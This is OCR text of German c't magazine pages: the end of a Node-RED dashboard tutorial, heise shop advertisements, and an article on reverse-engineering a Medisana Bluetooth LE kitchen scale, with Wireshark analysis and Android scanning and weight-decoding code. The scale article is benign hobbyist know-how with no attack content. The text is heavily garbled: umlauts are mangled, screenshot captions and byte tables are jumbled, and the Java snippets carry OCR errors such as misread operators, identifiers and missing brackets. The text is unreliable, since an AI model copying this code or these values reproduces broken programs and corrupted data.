mit Threm Namen begriifdt werden.

Offnen Sie nun noch einmal die Ein-
stellungen des Knopfes. Neben der Gruppe
konnen Sie dort auch noch dessen Grofde
(,,Size") festlegen. Im Gegensatz zu den
Gruppen kann sie die Breite und Hohe
eines Widgets festlegen. Die Angabe ist di-
mensionslos. In der Voreinstellung ,,auto®

Schlafzimmerszene  Putzen =  Wohnzimmerszene  Aus

Schlafzimmerlicht !' Deckenlampe &
Helligkeit @ Helligkeit @

Lichtfarbe _ Lichttemperatur @
Nachttischlampe (-] Stehlampe (3
Helligkeit @ Helligkeit @

fullt das Widget die gesamte Breite der
Gruppe aus und nimmt die minimal nétige
Hohe ein - wie hoch das genau ist, kommt
aufdas jeweilige Widget und dessen Inhal-
te an. Im Feld Icon konnen Sie genauso
einen Icon-Namen angeben wie bei den
Gruppen. ,,Label“ legt die Beschriftung des
Widgets fest. ,,Color* und ,,Background“
definieren Schrift- und Hintergrundfarbe.
Die Felder nehmen hexadezimale HTML-
Farbcodes in Form von #3FA201 oder
HTML-Farbnamen wie red entgegen.

Durchschaltung
Viele der Dashboard-Nodes haben, wie
auch der Button, neben dem Ausgang

= Fluricht N ] Temperatur Ziebwert Bewegungsmelder FB Philips
Klchenlampe [ ’ ’ Heizung Q Warmwasser (i @ @
19.35 189
Badlicht &
m Tempelatuwerlaur Sate e

2
3

Giste-WLAN R ]

1400 1400 1400

2
1%

1400

noch einen Eingang. Damit konnen Sie
sowohl Daten einfach durchleiten, als
auch den Zustand des Elements bestim-
men. Das ist zum Beispiel dann niitzlich,
wenn der Schalter oder ein Dropdown-
Feld eine bestimmte Aktion auslosen
soll, deren Durchfithrung vom Aktor be-
stitigt werden soll. Beispielsweise, wenn
man die Heizung einschaltet und diese
den Vorgang bestitigt. Dazu sendet der
Schalter-Node zunichst die Aufforde-
rung ,,Heizen“ an den Node fiir die Hei-
zungssteuerung. Dieser Node sendet
dann ein Feedback, das man etwa mit
Hilfe eines ,change®-, ,,switch®- oder
wenn notig ,,function”-Nodes auswertet.
Das Ergebnis schickt man an den Schal-
ter zurtick.

Wichtig sind jedoch zwei Dinge: Ers-
tens muss das Ergebnis den moglichen
Payloads fiir den Schalter entsprechen.
Entsprechen sie nicht den Vorgaben,
zeigt der Schalter ein dufderst erratisches
Verhalten: Er springt auf Aus und sendet
die letzte korrekte Payload erneut. Noch
wichtiger ist, dass Sie den Haken bei ,,If
msg arrives on input, pass through to out-
put“ in den Einstellungen des Schalters
entfernen. Der Haken legt fest, ob der
Node eingegangene msg-Objekte an die
folgenden Nodes durchreichen soll. Im
Beispiel fiihrt das zu einer Schleife, bei
der die Heizung immer wieder den Be-
fehl ,,Heizen®, den Sie dann bestitigt,
was den Vorgang wieder von vorne
auslost.

Eingangsfragen

Einige Features der Eingabe-Nodes
haben Thre Tiicken. So sollte man bei den
Slider-Elementen beim Feld ,,Output®
die Option ,,only on release” auswéhlen.
Die Alternative ,,continuously while sli-

1400 1400 1400 1500

Von der Zimmertemperatur bis zum Gaste-WLAN lasst sich im Dashboard alles einsehen und regeln.
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® Options

&I msg amves on input, pass hirough fo output
B Topic

% Name

Mit einem Dropdown-Menii
lassen sich einfache Lichtszenen
umsetzen.

ding“ sendet bei jeder Verdnderung den
Wert des Sliders, was bei einigen Geriten
zu Problemen fiihrt. Konkret beginnen
Zigbee-Lampen zu flackern, wenn man
ihnen zu viele Steuersignale in kurzer
Zeit liefert. Und die APIs Cloud-basierter
Dienste machen schnell dicht, wenn man
sie mit Anfragen bombardiert. Mit der
Einstellung ,,only on release“ wird der
Wert des Sliders erst dann abgeschickt,
wenn der Nutzer den Finger von der
Maustaste oder vom Touchscreen
nimmt.

Sehr hilfreich fiir Freunde bunter Be-
leuchtung ist der Color-Picker-Node. Mit
seiner Hilfe kann man den ganzen Re-
genbogen von Farben fiir seine Lichter
festlegen. Die Dashboard-Entwickler
haben ihn vollstindig in HTML umge-
setzt, sodass er in jedem Browser lauft.
Leider hat auch er mehr als einen Haken:
So funktioniert in manchen Android-
Browsern die Farbwahl nicht korrekt und
springt immer wieder zu der vorherigen
Farbe zuriick. Auflerdem ist es aufgrund
von Bugs nicht moglich, einfach von
Schwarz zu Weif$ zu wechseln. Das kann
man aber durch einen zusétzlichen Hel-
ligkeits-Slider kompensieren.

Eine gute Alternative findet sich mit
dem Text-Input-Node. In dessen Optio-
nen kann man mit ,,Mode"“ allerhand
HTML5-Eingabetypen auswihlen. Da-
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runter auch einen HTML-Farbwihler,
der vom Browser beziehungsweise Be-
triebssystem bereitgestellt wird und
HTML-Farbcodes zuriickgibt. Safari-
Nutzer auf iOS und macOS sehen hier
aber nur ein normales Textfeld, denn
Apple hat den Farbwahldialog nicht im-
plementiert. Wer in einem Haushalt mit
heterogener Hardware-Ausstattung lebt,
hinterlegt besser beide Varianten des
Farbwibhlers.

Wer Dinge wie Daten, Zeiten oder
Nummern in seinem Dashboard abfragt,
sollte ebenfalls ein Auge auf den Text-
Input-Node werfen. Die HTML-Einga-
befelder sind besonders auf Mobil-
browsern hilfreich, denn anhand des
Eingabetyps stellen diese auch die pas-
sende Tastatur bereit, etwa eine nur fir
Ziffern oder eine E-Mail-Tastatur mit
einem @ und vielleicht schon dem pas-
senden Vorschlag.

Fir Formulardaten empfiehlt sich
der ,form“-Node. Wer bereits Erfahrung
mit HTML-Formularen hat, wird sich so-
fort heimisch fiihlen. Man kann verschie-
dene Eingabefelder von Text bis Check-
boxen eintragen und bekommt im
Dashboard ein Formular mit typischen
»Absenden‘“- und ,,Abbrechen“-Knopfen.
Die vom Nutzer libermittelten Daten
kann man dann in Node-Red als JSON
verarbeiten.

Ordnung halten

Bei vielen Dashboard-Widgets wird es in
den Flows und auch den Dashboards
schnell untibersichtlich. Daher sollte
man lieber frither als spiter Vorginge
auftrennen. Dabei sind die Link-Nodes
sehr hilfreich. Sie konnen tiber Flow-
Grenzen hinweg Nodes und deren Nach-
richten verbinden. So kann man in einem
Flow alle Lampen im Haus sammeln und
mit Links versehen, damit diese dann nur
noch als kleine Link-Nodes auftauchen
und nicht in jedem Flow dreimal ein gro-
Rer Node namens ,Wohnzimmerlicht*
alles blockiert.

Wer filir die Ausgabedaten des
Dashboards repetitive Konvertierungen
durchfithren muss, zum Beispiel um
Farbcodes in RGB-Werte zu wandeln,
sollte Subflows erstellen. Diese erschei-
nen in den normalen Flows wie einzelne
Nodes und konnen beliebig oft eingesetzt
werden, um bestimmte Tatigkeiten
durchzufithren. Auch dadurch wird die
Verwaltung komplexerer Dashboards
erheblich tbersichtlicher.

Node-Red-Dashboard | Praxis

il dashboard 1 i il

Theme

Layout Site

Tabs & Links + +
~ [ Dashboard
> B8 Schlafzimmer
» B Wohnzimmer
» B Rest
» B Sensoren
> B Heizung
> B Akkusténde

v [ Akkustinde

v [ Zigbee2MQTT Admin Panel
9

> B Devices
> B8 Status
> B Permit Join

» B Logging Level
> B8 Remove Device
» B Rename Device

%' Konfiguration

Mit Tabs, wie ,,Akkustdnde” und
Gruppen, wie ,Schlafzimmer”,
halt man die Widgets im Zaum
und kann die Einstellungen
strukturieren.

Mit dem Node-Red-Dashboard lasst
sich allerhand steuern und anzeigen.
Grenzen setzt nur die eigene Fantasie.
Damit es ibersichtlich und niitzlich
bleibt, muss man probieren, wo und wie
man eine Einstellung darstellt. Manchmal
ist ein grofder Knopfbesser als ein kleiner
Schalter und manchmal ist ein Drop-
down-Menii nicht die kliigste Wahl. Fiir
den Anfang hilft es, einfach etwas herum-
zuspielen, um sich in das Dashboard und
seine Moglichkeiten einzufinden und he-
rauszufinden, welcher Vorgang welches
Interface bendtigt. (mls@ct.de) €€
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UX Design

Unternehmen

Toni Steimle, Dieter Wallach

Collaborative UX Design

Dieses Buch vermittelt kompakt und leicht ver-
standlich fundiertes Grundwissen zu kollaborativen
Methoden des UX Designs, sowie Auswahl und Ein-
satz von disziplinibergreifenden UX-Methoden und
Verzahnung in einem auf Workshops basierenden
Vorgehensmodell.

ISBN 9783864905322
shop.heise.de/ux-design m

Jiirgen Hoffmann, Stefan Roock

Agile Unternehmen

»Wie werden wir agiler?« - Veranderungsprozesse
gestalten, agile Prinzipien verankern, Selbstorganisa-
tion und neue Filhrungsstile etablieren. Dieses Buch
fokussiert auf Schritte hin zu echter Agilitat.

ISBN 9783864903991
shop.heise.de/agile-buch 2990 € >

Ralf Wirdemann

SCRUM mit User Stories

Optimieren Sie Scrum mit Hilfe von User Stories hin-
sichtlich eines kundenorientierten Anforderungsma-
nagements. AuBerdem: konkrete Empfehlungen fir
Entwickler, um User Stories erfolgreich einzusetzen.

ISBN 9783446450523
shop.heise.de/scrum-stories [ 7401 [1 ) 4

Kai Spichale

API-Design

Das Praxishandbuch fiir Java- und Webservice-Ent-
wickler scharft den Blick fiir APls, erkldrt Grundia-
genprinzipien und erlautert, welche Eigenschaften
effektive APIs haben sollten.

ISBN 9783864903878
shop.heise.de/api-design-buch m

PowerShell Core 6

Ralf Steck

CAD fiir Maker

Eigene DIY-Objekte mit FreeCAD, Fusion 360,
SketchUp & Tinkercad designen! Grundlagen der
CAD-Modellierung, die ndtige Hardware, 3D-Scan-
ning und alle relevanten Daten zu den vorgesteliten
Projekten auch im Netz.

ISBN 9783446450202
shop.heise.de/cad-buch m

René PreiBel, Bjern Stachmann

Git

Die kompakte Einfilhrung in Konzepte und Befehle,
die im Entwickleralltag wirklich nétig sind.

Zudem werden die wichtigsten Workflows zur Soft-
wareentwicklung im Team detailliert beleuchtet.

ISBN 9783864904523
shop.heise.de/git-buch m

Holger Schwichtenberg

Windows PowerShell 5 und
PowerShell Core 6 (2. Aufl.)

Die kompakte Darstellung der vielfdltigen Einsatz-
moglichkeiten der PowerShell sowie erganzender
Commandlet- und Klassenbibliotheken mit (ber
2.000 Code-Beispielen und 640 Commandlets fiir die
kommandozeilenbasierte Administration.

ISBN 9783446453319
shop.heise.de/powershell-buch 50,00€ )

Simon Monk

Der Maker-Guide fiir die
Zombie-Apokalypse

Bereiten Sie sich vor: mittels 20 Survival-Projekten
mit einfacher Elektronik, Arduino und Raspberry Pi
werden Sie lhren eigenen Strom erzeugen, unver-
zichtbare Bauteile vor dem Zombie-Zugriff retten und
lebensrettende Elektronikschaltungen bauen, um Un-
tote aufzuspiren.

ISBN 9783864903526
shop.heise.de/zombies m




und Maker!

Zubehor und Gadgets

Raspberry Pi
ePaper-Displays
Verwandeln Sie lhren
Raspi in einen eReader
mit den mehrfarbigen
E-Ink  Displays von
Waveshare in verschie-
denen GroBen.

shop.heise.de/raspi-displays ab m‘m € >

Raspberry Pi

3 B+ Starterset
Black Edition
Direkt loslegen mit dem
neuen Starterset Black
Edition: Raspberry Pi
3 Modell B+, 16 GByte
micro SD, HDMI-Stecker
mit Netzteil und Case.

Ss

shop.heise.de/raspi-black

c't-Logo.

e
ImEma

gingestellt,

shop.heise.de/nixie-platine [ K: [ K093

Ab einem Einkaufswert von 15 € und fiir Heise Medien- und Maker Media-Abonnenten
sind alle Produkte versandkostenfrei. Preisénderungen vorbehalten.

PORTOFREI

AB15 €
BESTELLWERT

T-Shirts von c't

c't-Leser setzen Statements! Und das jetzt auch
als T-Shirt - Kein Backup? Kein Mitleid!" und
+Admin wider Willen" ab sofort in vielen GroBen
auf hochwertig schwarzem Stoff mit dezentem

shop.heise.de/ct-shirts ~ [POR I/8:) £ 93

LED-Nixie Platine

Komplett bestiickte Platine fur eine Stelle mit
bis zu zehn Zeichen einer LED-Nixie-Anzeige,
wie sie in der Make 4/2018 vorgestellt wurde.
Die Platinen sind iiber die Stiftleisten anreihbar.
Je zwei der RGB-LEDs beleuchten eine Ziffer —
die Farbe wird in der Software auf dem Arduino

shop.heise.de/gadgets

ODROID-GO

Mit diesem Bausatz
emulieren Sie nicht nur
Spiele-Klassiker, son-
dern  programmieren
auch in der Arduino-Ent-
wicklungsumgebung.

shop.heise.de/odroid

PoE-HAT-Modul
fiir Pi 3 B+

Versorgen Sie lhren
Raspberry Pi  Mo-
del 3 B+ dank dieses
Moduls mit Spannung
iber das Netzwerk-
kabel. Lieferung komplett mit Lifter, Spacern und

Schrauben.
2390 € >

shop.heise.de/poe-hat

Bestellen Sie ganz einfach online unter shop.heise.de oder

per E-Mail: service@shop.heise.de

MaXYposi-Bundle

Mit dem Komplett-Bundle zum
MaXYposi-Projekt haben Sie
drei entscheidende Teile zum
Bau lhres eigenen Multitools:
die Schrittmotorsteuerung mit
CPU, die Kontrollpult-Platine
' und die Step-Encoder-Platine.
Im Komplettpaket sparen!

shop.heise.de/maxyposi-bundle [:7:X: ) F893

Make
NanoSynth

Der SAM2695 von
DREAM  ist ein
mehrstimmiger MIDI-Wavetable-Synthesizer mit
Effekteingangauf 5x 5 Quadratmillimeternund bietet
volle Polyphonie mit 128 GM-Standardinstrumenten,
verschiedenen Drumkits und Effekten.

Vorgestellt in Make 1/18!
2990€ >

shop.heise.de/make-synth

Pi Desktop-Bundle B+

Der DIY Pi-Desktop als komplettes Set: das
praktische Case mit On/Off-Button, Kihlkorper,
Echtzeituhr, Montagematerial, Adapterkabel
und mSATA-Schnittstelle plus Raspberry Pi3 B+
und 16 GByte microSDHC!

shop.heise.de/pi-desktop-set | [11: K:]i £

iFixit 112-Bit Driver-Kit Manta

112 hochwertig produzierte Bits aus Stahl fir
Elektronikreparaturen aller Art: Kreuzschlitz,
Gamebit, Pentalobe, Sechskant, Steckschliis-
sel, Torx und viele mehr! Mitsamt 4 mm und 1/4"
Prazisions-Bithalter aus Aluminium und magne-
tischer Sortierschale.

shop.heise.de/ifixit-manta  £1: K211 )€ S8

@ heise shop

shopheisede | )
.
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Gewaagt, gehackt

Reverse-Engineering von Bluetooth-LE-
Geraten am Beispiel einer Feinwaage

Feinwaagen zum Kochen gibt

es auch mit Bluetooth. Die
Hersteller-Apps erlauben aber
oft keinen Export der Daten.
Wir wollten uns damit nicht
abfinden und haben die
Kommunikation einer Waage
von Medisana mit einer eigenen
Android-App analysiert und
geknackt.

Von Pina Merkert

168 mEO

interzeit ist Platzchenzeit und Stol-

lenzeit und Glithweinzeit - jede
Menge Zeit, um pummelig zu werden.
Damit mir das nicht passiert, musste tech-
nische Unterstiitzung her: Kalorien zih-
len, per App. Nur leider sind Menschen im
Allgemeinen und ich im Speziellen richtig
schlecht darin, das Gewicht von Mahlzei-
ten zu schitzen. Abhilfe schafft da eine di-
gitale Feinwaage.

Als ich bei Amazon nach einer suchte,
fiel mir auf, dass ich fiir ein paar Euro
mehr eine bekomme, die auch Bluetooth
unterstiitzt. Meine Wabhl fiel auf ein Gerat
von ,,Medisana“ in Spacegrau fiir 34 Euro.
Die Waage versendet das gemessene Ge-
wicht per Bluetooth an eine kleine App na-

mens ,VitaFood“, die sogar eine Essens-
datenbank enthilt. Nur leider erlaubt sie
mir nicht, die gemessenen Daten zu ex-
portieren. Auch fehlt eine Synchronisation
mit Google Fit oder irgendeinem anderen
Dienst, der Food-Tracking erlaubt. Als
Food-Tracking-App fehlen VitaFood wich-
tige Features.

Beim Einrichten der Waage mit Vita-
Food fiel mir allerdings auf, dass das Pai-
ring wesentlich schneller ging als bei tib-
lichen Bluetooth-Geriten. Ich vermutete
deswegen, dass die Kommunikation zwi-
schen Waage und App sehr einfach und
wahrscheinlich unverschliisselt ablduft.
Das weckte meinen Ehrgeiz: Konnte ich
vielleicht das Protokoll entschliisseln und
die Waage mit einer eigenen App verbin-
den? Daraufhin folgte eine kleine Reise in
die Welt von Bluetooth Low Energy (LE).
Der Artikel zeigt an diesem Beispiel, wie
man beim Reverse-Engineering einfacher
Bluetooth-Gerite vorgehen kann.

Schniiffelmodus

Die Reise beginnt mit dem Aktivieren des
HCI-Snoop-Protokolls in den Entwickler-
optionen eines Android-Smartphones. An-
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droid schneidet mit dieser Option ndmlich
die komplette Kommunikation zwischen
Bluetooth-Geriten und dem Handy mit.
Wo die Datei landet, hingt vom Gerit ab.
Eine Google-Suche nach dem Smart-
phone-Modell und ,,HCI-Snoop-Protokoll*
liefert tiblicherweise den notigen Hinweis.
Auf einem OnePlus 3T konnte ich sie bei-
spielsweise nicht finden. Auf einem Galaxy
S8 musste ich den Code *#9900# in der Te-
lefonie-App eingeben, was ein Service-
Menti 6ffnet, in dem ich ,,RUN DUMP-
STATE/LOGCAT* und nach kurzer War-
tezeit ,Copy To SDCARD® auswihlen
konnte. Die Datei fand ich danach auf der
SD-Karte im Ordner logs/.

Mit aktivierter Abhorchfunktion ver-
band ich die Waage mit VitaFood und wog
ein paar Gegenstinde vom Schreibtisch.
Danach schaltete ich die Waage wieder ab
und deaktivierte das HCI-Snoop-Proto-
koll. Auf dem Smartphone befand sich
danach eine Datei namens btsnoop_hci_
201811131305. log, die ich fur die weitere
Analyse auf den PC kopierte.

Analyse mit Wireshark
Andert man die Endung auf .pcap, lidsst
sich die Datei mit Wireshark 6ffnen und
man kann nach Herzenslust Pakete filtern
und analysieren. Im Protokoll landete ei-
niges, was nichts mit der Waage zu tun
hatte, da in der c’t-Redaktion haufenweise
Bluetooth-Gerite funken.

Also begab ich mich auf die Suche:
Eigentlich hitte die Waage irgendwann

Messwerte der Waage

‘ angezeigtes Gewicht aufgezeichnete Bytes

-314 09 OF 1E 3C A5
=) 09 OF oF oF 3C
0 01 OF OF oF oF
2 01 OF OF OF 2D
3 01 OF oF oF 3C
7 01 OF OF oF 78
338 01 OF 1E 5A 2D
482 01 OF 1E E1 2D
823 01 oF 3C 3C 78
1137 01 OF 4B 78 1E
1683 01 OF 69 96 3C
2018 01 OF 78 E1 2D
2298 01 OF 87 Fo B4
2571 01 OF A5 OF C3
2941 01 OF B4 78 D2
3488 01 OF D2 A5 OF
3788 01 OF E1 C3 A5
4440 01 1E 1E 5A 87
4442 01 1E 1E 5A A5
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Protokolle abrufen

Fehlerbericht abrufen

Desktop-Sicherungspasswort

Aktiv lassen

Bluetooth HCI-Snoop-Protokoll aktivieren .

OEM-Entsperrung

Aktive Dienste

WebView-Implementierung

Erweiterter Neustart

Das ,HCI-Snoop-Protokoll“ aktiviert
man in den ,Entwickleroptionen” eines
Android-Handys. Sobald die Option
aktiv ist, schneidet das Smartphone die
gesamte Bluetooth-Kommunikation mit.

Pakete senden miissen, die dem Smart-
phone sagen, dass es sich mit der Wagge
pairen darf. Aus VitaFood wusste ich,
dass meine Waage den Namen ,,KS250
verwendet. Der Name musste also ir-
gendwo in den Pairing-Paketen vorkom-
men.

Statt eines Pakets zum Beginn des
Pairings fand ich aber Hunderte gleich-
artige Pakete vom Typ ,,LE Advertising
Report ‘. Mit solchen Paketen teilen Blue-
tooth-LE-Gerite Hosts wie meinem
Smartphone mit, wie sie heiflen und wie
das Pairing ablauft. Sie enthalten neben
dem Geridtenamen auch herstellerspezifi-
sche Bytes, die beispielsweise Schliissel-
material enthalten konnten.

Meine Waage versendete aber aus-
schlieflich diese Art von Paket. Damit war
klar: Das gemessene Gewicht muss ir-
gendwie kodiert da drin stehen.

Rétselhafte Kodierung

Waihrend der Aufzeichnung des Protokolls
hatte ich Dinge auf die Waage gelegt, so-
dass es Pakete geben musste, in denen
Gewichtsangaben grofier O stehen, und
zahlreiche andere Pakete mit einem Ge-
wicht von O Gramm. Nur in den Bytes, die

BT-LE Reverse-Engineering | Know-how

sich zwischen diesen Paketen dnderten,
konnte das Gewicht kodiert sein.

Auf diesem Weg fand ich schnell he-
raus, dass das Gewicht wohl in den letzten
4 Bytes kodiert wurde. Aus der Darstel-
lung der O konnte ich mir aber keinen
Reim machen, denn sie lautete hexadezi-
mal 6FOFoFoF.

Leider hatte ich mir nicht aufge-
schrieben, welche Gewichte ich zu wel-
chem Zeitpunkt auf die Waage gelegt
hatte. Um Thesen zur Kodierung testen zu
konnen, brauchte ich aber unbedingt eine
systematische Messreihe.

Scannen per App
Fiir die Messreihe hitte ich das HCI-
Snoop-Protokoll wieder aktivieren und sys-
tematisch Gewichte auf die Waage legen
konnen. Die Messwerte hitte ich in Wire-
shark aber wieder aus einer Flut anderer
Pakete herausfiltern miissen und es hitte
Disziplin beim Messen gebraucht, damit
ich die Zeitpunkte der Messungen mit den
Zeitstempeln der Pakete vergleichen kann.
Ich wollte aber ohnehin eine App
schreiben, die Daten der Waage empfangt
und die Bluetooth-Pakete filtert. Ich ent-
schied mich daher, die Messreihe auch
schon mit einer eigenen Android-App auf-
zunehmen.

Medisana-Scale

Unsere App ist bisher schmucklos,
funktioniert aber. Sinnvoll wére es, sie
wie VitaFood mit einer Essensdatenbank
zu erweitern.
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Bluetooth scannen mit Android

Da die Waage nur Advertising-Pakete verschickt, reicht es dafir,
einen Scan nach Bluetooth-LE-Geraten anzustoB3en. Bevor der
starten darf, muss die App in AndroidManifest.xml die Permissi-
ons fir Bluetooth und den ungefahren Standort anfragen.

<{uses-permission android:name=";
bandroid.permission.BLUETOOTH"/>
<uses-permission android:name="3
bandroid.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.j
G ACCESS_COARSE_LOCATION"/>
<uses-feature android:name="android.hardware.bluetooth_le" ;

bandroid:required="true"/>

Damit hat die App dem System zwar mitgeteilt, dass sie prin-
zipiell diese Permission nutzen konnte, den Nutzer hat sie aber
noch nicht gefragt. Das passiert beim Initialisieren der Blue-
tooth-Schnittstelle:

private BluetoothAdapter mBluetoothAdapter;
@0verride
protected void onStart() {
super.onStart();
final int PERM_GRANT = PackageManager.PERMISSION_GRANTED;
if (ContextCompat.checkSelfPermission(this,
Manifest.permission.BLUETOOTH_ADMIN) != PERM_GRANT ||
ContextCompat.checkSelfPermission(this,
Manifest.permission.ACCESS_COARSE_LOCATION
) != PERM_GRANT) {
requestPermissions(new String[]{
Manifest.permission.BLUETOOTH_ADMIN,
Manifest.permission.ACCESS_COARSE_LOCATION},
MY_PERMISSIONS_REQUEST_BTLOC);
} else {
activateBluetooth();
}}
private void activateBluetooth() {
final BluetoothManager bluetoothManager =
(BluetoothManager) getSystemService (
Context.BLUETOOTH_SERVICE)
if (bluetoothManager != null)
mBluetoothAdapter = bluetoothManager.getAdapter();
if (mBluetoothAdapter == null ||
ImBluetoothAdapter.isEnabled()) {
Intent enableBtIntent = new Intent(
BluetoothAdapter.ACTION_REQUEST_ENABLE);
startActivityForResult(enableBtIntent,
REQUEST_ENABLE_BT) ;
1}

Fehlen der App die nétigen Rechte, muss sie den Nutzer mit
requestPermissions() danach fragen.

Mit einem BluetoothAdapter greift man danach auf die Hard-
ware zu und kann das Objekt nach einem BluetoothlLeScanner-
Objekt fragen. Das beginnt mit startScan() nach Bluetooth-LE-
Geréaten zu suchen. Falls der Scanner etwas findet, ruft er eine
Callback-Funktion auf, die man startScan() zusammen mit

1770 HENE

einem Objekt mit Einstellungen vom Typ ScanSettings Uibergibt.
Uber die konnte ich ihn so einstellen, dass er aggressiv sucht
und alle Treffer meldet, sodass meine App alle von der Waage
versendeten Pakete empfangt:

private void scanlLeDevice(final boolean enable) {

final BluetoothlLeScanner bluetoothLeScanner =
mBluetoothAdapter.getBluetoothLeScanner();

if (enable) {

btScanning = true;

ScanSettings settings = new ScanSettings.Builder(
.setScanMode (ScanSettings.SCAN_MODE_LOW_LATENCY
.setCallbackType(ScanSettings.CALLBACK_TYPE_ALL_MATCHES
.setMatchMode (ScanSettings.MATCH_MODE_AGGRESSIVE
.setNumOfMatches(ScanSettings.MATCH_NUM_MAX_ADVERTISEMENT
.build();

bluetoothLeScanner.startScan(null,

settings, mLeScanCallback);
} else {
btScanning = false;
bluetoothLeScanner.stopScan(mLeScanCallback) ;

}

Die eigentliche Arbeit passiert in der onScanResult()-Methode
des ScanCallback-Objekts. Dort filtert die App zunachst alle Pa-
kete: Der Geréatetyp sollte Bluetooth-LE (2) sein und es sollte
AdvertiseFlags geben. Medisana verwendet als Herstellercode
die beiden Bytes 00b4 und als herstellerspezifische Daten ste-
cken stets 10 Bytes im Paket.

Aus den gefilterten Paketen erfahrt die App den Gerate-
namen, die Gerateadresse und den Inhalt der Pakete und
schreibt diese Daten in Textfelder:

@override
public void onScanResult(int callbackType,

ScanResult result) {
super.onScanResult(callbackType, result);
if(result.getDevice().getType() == 2){

ScanRecord scanRecord = result.getScanRecord();
if (scanRecord != null &&
scanRecord.getAdvertiseFlags() > @) {
byte[] manSpData =
scanRecord.getManufacturerSpecificData(0x00b4) ;
if (manSpData != null && manSpData.length == 10) {
String deviceName = result.getDevice().getName();
if (deviceName == null || deviceName.isEmpty())
deviceName = "no dev name";
mTextViewDeviceAdr.setText(
result.getDevice().getAddress());
mTextViewDeviceName.setText (deviceName) ;
mTextViewData.setText(bytesToHex (manSpData) ) ;
//Hier Protokoll entschliisseln

c't 2019, Heft 2



BT-LE Reverse-Engineering | Know-how

Die Waage versendet
nur Bluetooth-LE-
Advertising-Pakete.

btsnoop_hci_-201811131305.pcap x

Datei Bearbeiten Ansicht Navigation Aufzeichnen Analyse Statistiken Telephonie Wireless Tools Hilfe

In denen steht der 4@ BNRBQACP v RASE B UE

Geritename ,,KS250", \ﬂ|Anzewqef:lt.~:l anwenden ... <Ctrl-/> = 'I Ausdruck... +
b hd k I No. Time Source Destination Protocol Length Info e

aber auch das aktue 1466 36.881823 controller host HCI_EVT 46 Rcvd LE Meta (LE Advertising Report)

controller
controller
controller
controller
contraller

(LE Advertising
46 Rcvd LE Meta (LE Advertising Report)
38 Rcvd LE Meta (LE Advertising Report)__ |
46 Rcvd LE Meta (LE Advertising Report)
AR Rewd 1F Meta (IF Adwverticinn Dnnnrf’\

gemessene Gewicht
in den herstellerspezi-
fischen Daten.

1468 36.931753
1469 36.939658
1470 36.952657
1471 2/ _Qg2”9A

host
host
host
hnet

HCI_EVT
HCI_EVT
HCI_EVT

HCT FUT S

F]
» Frame 1467: 39 bytes on wire (312 bits), 39 bytes captured (312 bits)
» Bluetooth

| Bluetooth HCI H4
+ Bluetooth HCI Event - LE Meta

Event Code: LE Meta (©x3e)

Parameter Total Length: 36

Sub Event: LE Advertising Report (©xe2)
Num Reports: 1

» Flags

RSSI: -94dBm

~ Device Name:
Length: 6
Type: Device Name (Ox09)
Device Name: KS250

Event Type: Non-Connectable Undirected Advertising (@x@3)
Peer Address Type: Random Device Address (0x01)
BD_ADDR: 4f:b3:1f:e1:7d:48 (4f:b3:1f:el:7d:48)
Data Length: 24
~ Advertising Data
~ Manufacturer Specific
Length: 13
Type: Manufacturer Specific (@xff)
Company ID: BDE Technolegy Co.,
» Data: beesffffeieiefefefef

Ltd. (©xeeh4)

K5250

(elelelc] :ﬂ 3e 24 82 01 03 01 48 7d el 1f b3 4f 18 ed ff I>$ H}
b4 ee be es ff ff @1 @1 eof ef ef ef 82 01 66 06
2 09 4b 53 32 35 30 a2

@ ¥ Bluetooth HCI H4 (hci_h4), 1 Byte

Pakete: 1984 - Angezeigt: 1984 (100.0%)  Profil: Default

Systematisch messen
Ausgestattet mit der App konnte ich end-
lich meine systematische Testreihe auf-
zeichnen. Dafiir legte ich Objekte mit un-
terschiedlichem Gewicht auf die Waage
und protokollierte die letzten vier Bytes
der herstellerspezifischen Daten. Mit der
Tara-Funktion konnte ich auch negative
Werte protokollieren (siehe Tabelle),
indem ich Dinge auf die Waage legte, Tara
driickte und sie wieder herunternahm.

An der Tabelle fallen schnell einige
Aspekte auf: Bei kleinen Gewichten in-
dert sich nur das kleinste Byte, bei grofie-
ren dann zwei oder drei Bytes. Das Vorzei-
chen kodiert die Waage nicht in den vier
Bytes, da sie bei 3 Gramm und -3 Gramm
gleich sind.

Die néachste Erkenntnis war, dass bei
0, 2, 3und 7 Gramm (OF, 2D, 3C, 78) das Ge-
wicht im vorderen Oktet des letzten Bytes
steht. Also fragte ich mich, was das hintere
Oktet kodiert und stellte eine Regelma-
Rigkeit fest: Wo das vordere Oktet von O
hochzahlt, zihlt das hintere Oktet von 15
(hexadezimal F) herunter. Jedes Byte ent-
halt daher nur zweimal 4 Bit an Informa-
tion. Die Doppelung dient wohl der Feh-
lerkorrektur, da in den Advertising-Pake-
ten durchaus Ubertragungsfehler vorkom-
men konnen.
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Damit kann ein Byte nur 16 verschie-
dene Werte kodieren, was nahelegt, dass
die Firmware der Waage das Gewicht ein-
fach als Zahl im 16er-System kodiert. Und
tatsdchlich ist das genau die Kodierung.
Beispielsweise entspricht 482 im 16er-
System 01E2, was erginzt um die Fehler-
korrekturbits (FE1D) den vier Bytes
@F1EE12D entspricht.

Der App-Beweis
Ausgestattet mit dieser These implemen-
tierte ich die Kodierung in meiner App:

int weight = 0;
int[] mfacs = {1, 16, 256, 4096};
boolean transmissionError = false;
for (int i = 0; i<4 &
ItransmissionError; i++) {
byte t = manSpDatal
manSpData.length-1-1i];
if ((t&0xFQ)>>4 != 15-(t&0x0F))
transmissionError = true;
weight += ((t&0xF0)>>4)*mfacs[i];
}
if (!transmissionError) {
if ((manSpData[manSpData.length-5]
& 0x08) == 0x08)
weight = -weight;
boolean stabilized = (manSpDatal
manSpData.length-5]&0x01)==0x01;

mTextViewWeight.setText(
Integer.toString(weight));

Mit der Schleife ab Zeile 4 liest die App die
vier letzten Bytes, priift mit Bitmasken auf
Ubertragungsfehler und multipliziert die
kodierte 4-Bit-Zahl mit den Faktoren 1, 16,
256 und 4096. In der Variable weight steht
nach der Addition dieser vier Zahlen das
gemessene Gewicht, allerdings noch ohne
Vorzeichen.

Das extrahiert die Implementierung
aus dem flinften Bit des flinftletzten Bytes.
Aus dem letzten Bit dieses Bytes holt
sie die Information, ob sich das Wiege-
ergebnis stabilisiert hat. Fehlerfrei iiber-
tragene Gewichtswerte zeigt die App an.

Damit zeigt meine App ebenso
prompt Wiegeergebnisse wie die Vita-
Food-App des Herstellers. Den Code fin-
den Sie iiber ct.de/ylwg. Aufbauend auf
meinem Experiment kann ich nun die
Daten verarbeiten und exportieren, wie
